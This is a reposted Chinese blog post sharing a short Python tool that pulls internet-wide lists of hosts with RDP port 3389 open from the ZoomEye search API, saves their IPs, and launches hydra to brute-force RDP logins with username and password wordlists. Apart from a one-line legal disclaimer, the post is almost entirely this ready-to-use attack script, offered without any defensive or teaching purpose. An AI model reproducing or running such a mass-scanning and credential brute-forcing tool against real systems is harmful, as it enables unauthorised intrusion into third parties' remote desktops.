zoukankan      html  css  js  c++  java
  • python 3389爆破机

    前言:

     = =上学后的第一个星期假期,写了个3389爆破器

       -

    0x01

    准备:

    hydra

    钟馗之眼API

    0x02代码:

    import optparse
    import os
    import requests
    import time
    def mian():
        print('[!]切记不要做违法的事情。否则后果自负')
        usage='[help -s  扫描全网3389]'
        parser=optparse.OptionParser(usage)
        parser.add_option('-s',action='store_true',dest='ji',help='扫描全网3389')
        parser.add_option('-b',dest='bao',help='爆破字典(username)')
        parser.add_option('-p',dest='passs',help='爆破字典(password)')
        parser.add_option('-x',dest='host',help='目标')
        (options,args)=parser.parse_args()
        if options.ji:
            Ji()
        elif options.bao and options.host and options.passs:
            bao=options.bao
            ip=options.host
            passs=options.passs
            Bao(bao,ip,passs)
        else:
            parser.print_help()
            exit()
    def Ji():
        for r in range(1,10):
            time.sleep(1)
            g='https://api.zoomeye.org/host/search?query=port:3389&page={}'.format(r)
            headers={"Authorization":"JWT token"}
            r=requests.get(g,headers=headers)
            sd=r.json()
            rsd=sd['matches'][0:]
            for l in rsd:
                print(l['ip'])
                owe=l['ip']
                with open('3389.txt','a') as p:
                    p.write(owe+'
    ')
    def Bao(bao,ip,passs):
        baopo=os.system('hydra.exe -L {} -P {} rdp://{}'.format(bao,passs,ip))
    if __name__ == '__main__':
        mian()
    

      效果图:

  • 相关阅读:
    JS使用小记
    CSS使用小记
    POST Raw JSON提交
    获取当月的某天
    bootstrap-datetimepicker的中文显示问题
    学习总结——Selenium元素定位
    Android常用控件及对应Robotium API
    Junit4断言
    Junit3断言
    Robotium怎样判断测试结果
  • 原文地址:https://www.cnblogs.com/haq5201314/p/8503307.html
Copyright © 2011-2022 走看看